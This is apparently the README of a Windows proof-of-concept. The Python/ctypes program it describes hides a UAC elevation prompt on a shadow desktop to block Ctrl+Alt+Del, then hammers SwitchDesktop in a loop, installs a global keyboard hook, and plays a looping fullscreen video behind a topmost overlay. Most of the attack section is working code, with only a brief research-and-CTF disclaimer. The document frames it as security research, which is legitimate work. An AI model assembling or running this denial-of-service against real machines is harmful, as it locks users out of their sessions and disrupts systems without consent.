8.2 KiB
PoC — SAS Desktop DoS via UAC Spoofing
A Windows proof-of-concept that demonstrates three security primitives in one payload:
- Hidden UAC elevation — a
runasprompt fires on a shadow desktop the user never sees - Desktop-switch DoS — rapid
SwitchDesktopcalls render the session unusable - Global keyboard lock — a low-level hook swallows all input except Escape
Disclaimer: For authorised security research and CTF use only. Do not run against systems you do not own or have explicit written permission to test.
How It Works
1. Shadow Desktop + UAC SAS Block
Windows lets any process create additional desktops with CreateDesktopW. The trick is to switch to the shadow desktop, fire a UAC elevation prompt there, then immediately switch back. The user never sees the prompt — but more importantly, Windows holds the Secure Attention Sequence (SAS) lock for as long as the elevation is pending. This means Ctrl+Alt+Del and the secure desktop cannot preempt the session, blocking the user's primary escape route.
The desktop-switch DoS (toggle()) then hammers the CPU and display pipeline on top of that, preventing the system from stabilizing enough for the user to intervene. The two techniques are complementary: UAC is the lock, the toggle loop is the hammer.
h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None)
h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100)
def trigger():
sei = SEI()
sei.cbSize = ctypes.sizeof(SEI)
sei.fMask = 0x00000040
sei.lpVerb = "runas" # request elevation
sei.lpFile = "cmd.exe"
sei.lpParameters = "/c exit"
sei.nShow = 0
shell32.ShellExecuteExW(ctypes.byref(sei))
if sei.hProcess:
kernel32.CloseHandle(sei.hProcess)
user32.SwitchDesktop(h_poc) # move to shadow desktop
threading.Thread(target=trigger, daemon=True).start() # UAC fires here
time.sleep(0.05)
user32.SwitchDesktop(h_def) # snap back before user notices
The 50 ms window is enough for ShellExecuteExW to dispatch the elevation request and acquire the SAS lock, while the default desktop remains visually unchanged to the user.
2. Desktop-Switch DoS
Once the SAS lock is held by the pending UAC prompt, the toggle loop runs at full CPU speed to prevent the system from recovering. Without the UAC, this still causes visible flickering — but the system can stabilize and the user can regain control. With it, there is no escape route to stabilize into.
def toggle():
while not stop.is_set():
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
threading.Thread(target=toggle, daemon=True).start()
Six switches per iteration, no sleep — the loop saturates the display pipeline.
3. Global Keyboard Hook
Hook type 13 is WH_KEYBOARD_LL — a system-wide low-level keyboard hook. Every keypress on the machine is routed through kb_proc before any other application sees it. The hook passes everything through untouched except for the single Escape (0x1B) keydown, which sets the stop event and begins teardown.
class KBDLLHOOKSTRUCT(ctypes.Structure):
_fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong),
("flags", ctypes.c_ulong), ("time", ctypes.c_ulong),
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))]
@ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p)
def kb_proc(nCode, wParam, lParam):
if nCode >= 0 and lParam:
kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0]
if kb.vkCode == 0x1B and not (kb.flags & 0x80): # Escape keydown
stop.set()
return user32.CallNextHookEx(None, nCode, wParam, lParam)
The flags & 0x80 check masks out key-release events so the stop fires exactly once on keydown.
The hook requires its own message pump to receive events from the OS. A dedicated non-daemon thread keeps the process alive as long as the hook is active:
def hook_thread():
h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0)
hooks_ready.set()
m = ctypes.wintypes.MSG()
while not stop.is_set():
if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1):
user32.TranslateMessage(ctypes.byref(m))
user32.DispatchMessageW(ctypes.byref(m))
time.sleep(0.0005)
user32.UnhookWindowsHookEx(h_kb)
hooks_ready is a threading.Event that the main thread waits on before starting the toggle loop, guaranteeing the hook is installed before the DoS begins.
4. Overlay Window
A borderless, always-on-top popup sits pinned to the bottom of the screen and renders "Press Escape to Quit" in bold blue Arial (weight 900, size 80) on a black bar. It is repainted on every WM_PAINT (0x000F) message and repositioned every 50 ms to survive any window-manager interference.
@WNDPROCTYPE
def wnd_proc(hwnd, msg, wp, lp):
if msg == 0x000F: # WM_PAINT
ps = ctypes.create_string_buffer(72)
hdc = user32.BeginPaint(hwnd, ps)
user32.SetBkColor(hdc, 0x00000000) # black background
user32.SetTextColor(hdc, 0x000000FF) # blue text (BGR)
hf = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial")
old = gdi32.SelectObject(hdc, hf)
gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT))
gdi32.SelectObject(hdc, old)
gdi32.DeleteObject(hf)
user32.EndPaint(hwnd, ps)
return 0
return user32.DefWindowProcW(hwnd, msg, wp, lp)
Window creation flags: WS_EX_TOPMOST | WS_EX_NOACTIVATE (0x8 | 0x80) for extended style, WS_POPUP | WS_VISIBLE (0x80000000 | 0x10000000) for style. Height is fixed at 120 px, width spans the full screen (GetSystemMetrics(0)).
5. Video Payload
mpv is preferred (precise flags), VLC is the first fallback, and the OS default handler is the last resort. All three are spawned with CREATE_NO_WINDOW (0x08000000) so no console flashes up.
if os.path.exists(mpv_path):
subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"],
creationflags=0x08000000)
elif os.path.exists(vlc_path):
subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"],
creationflags=0x08000000)
else:
subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL],
shell=False, creationflags=0x08000000)
6. Threading Model & Execution Order
| Thread | Daemon | Role |
|---|---|---|
hook_thread |
No | Installs WH_KEYBOARD_LL, pumps messages, keeps process alive |
overlay_thread |
Yes | Owns the overlay HWND and its message loop |
toggle |
Yes | Rapid desktop switching loop |
| UAC trigger | Yes | One-shot ShellExecuteExW call |
Execution order is carefully sequenced:
CreateDesktopW / OpenDesktopW
└─ SwitchDesktop(h_poc) → trigger() → SwitchDesktop(h_def) ← UAC fires hidden
└─ Popen(video player)
└─ hook_thread.start() + overlay_thread.start()
└─ hooks_ready.wait() ← barrier
└─ toggle thread starts
└─ stop.wait() ← main thread blocks here
└─ cleanup: SwitchDesktop, CloseDesktop
Requirements
- Windows 10 / 11
- Python 3.x (no third-party packages — pure
ctypes) - Optional: mpv or VLC for the video payload
Running
python poc_sas_dos.py
Press Escape to exit cleanly.
Security Concepts Demonstrated
| Technique | Windows API |
|---|---|
| Alternate desktop creation | CreateDesktopW |
| SAS lock via hidden UAC | ShellExecuteExW with lpVerb = "runas" on shadow desktop |
| Desktop switching DoS | SwitchDesktop |
| Global input capture | SetWindowsHookExW(WH_KEYBOARD_LL) |
| Topmost borderless overlay | CreateWindowExW + SetWindowPos |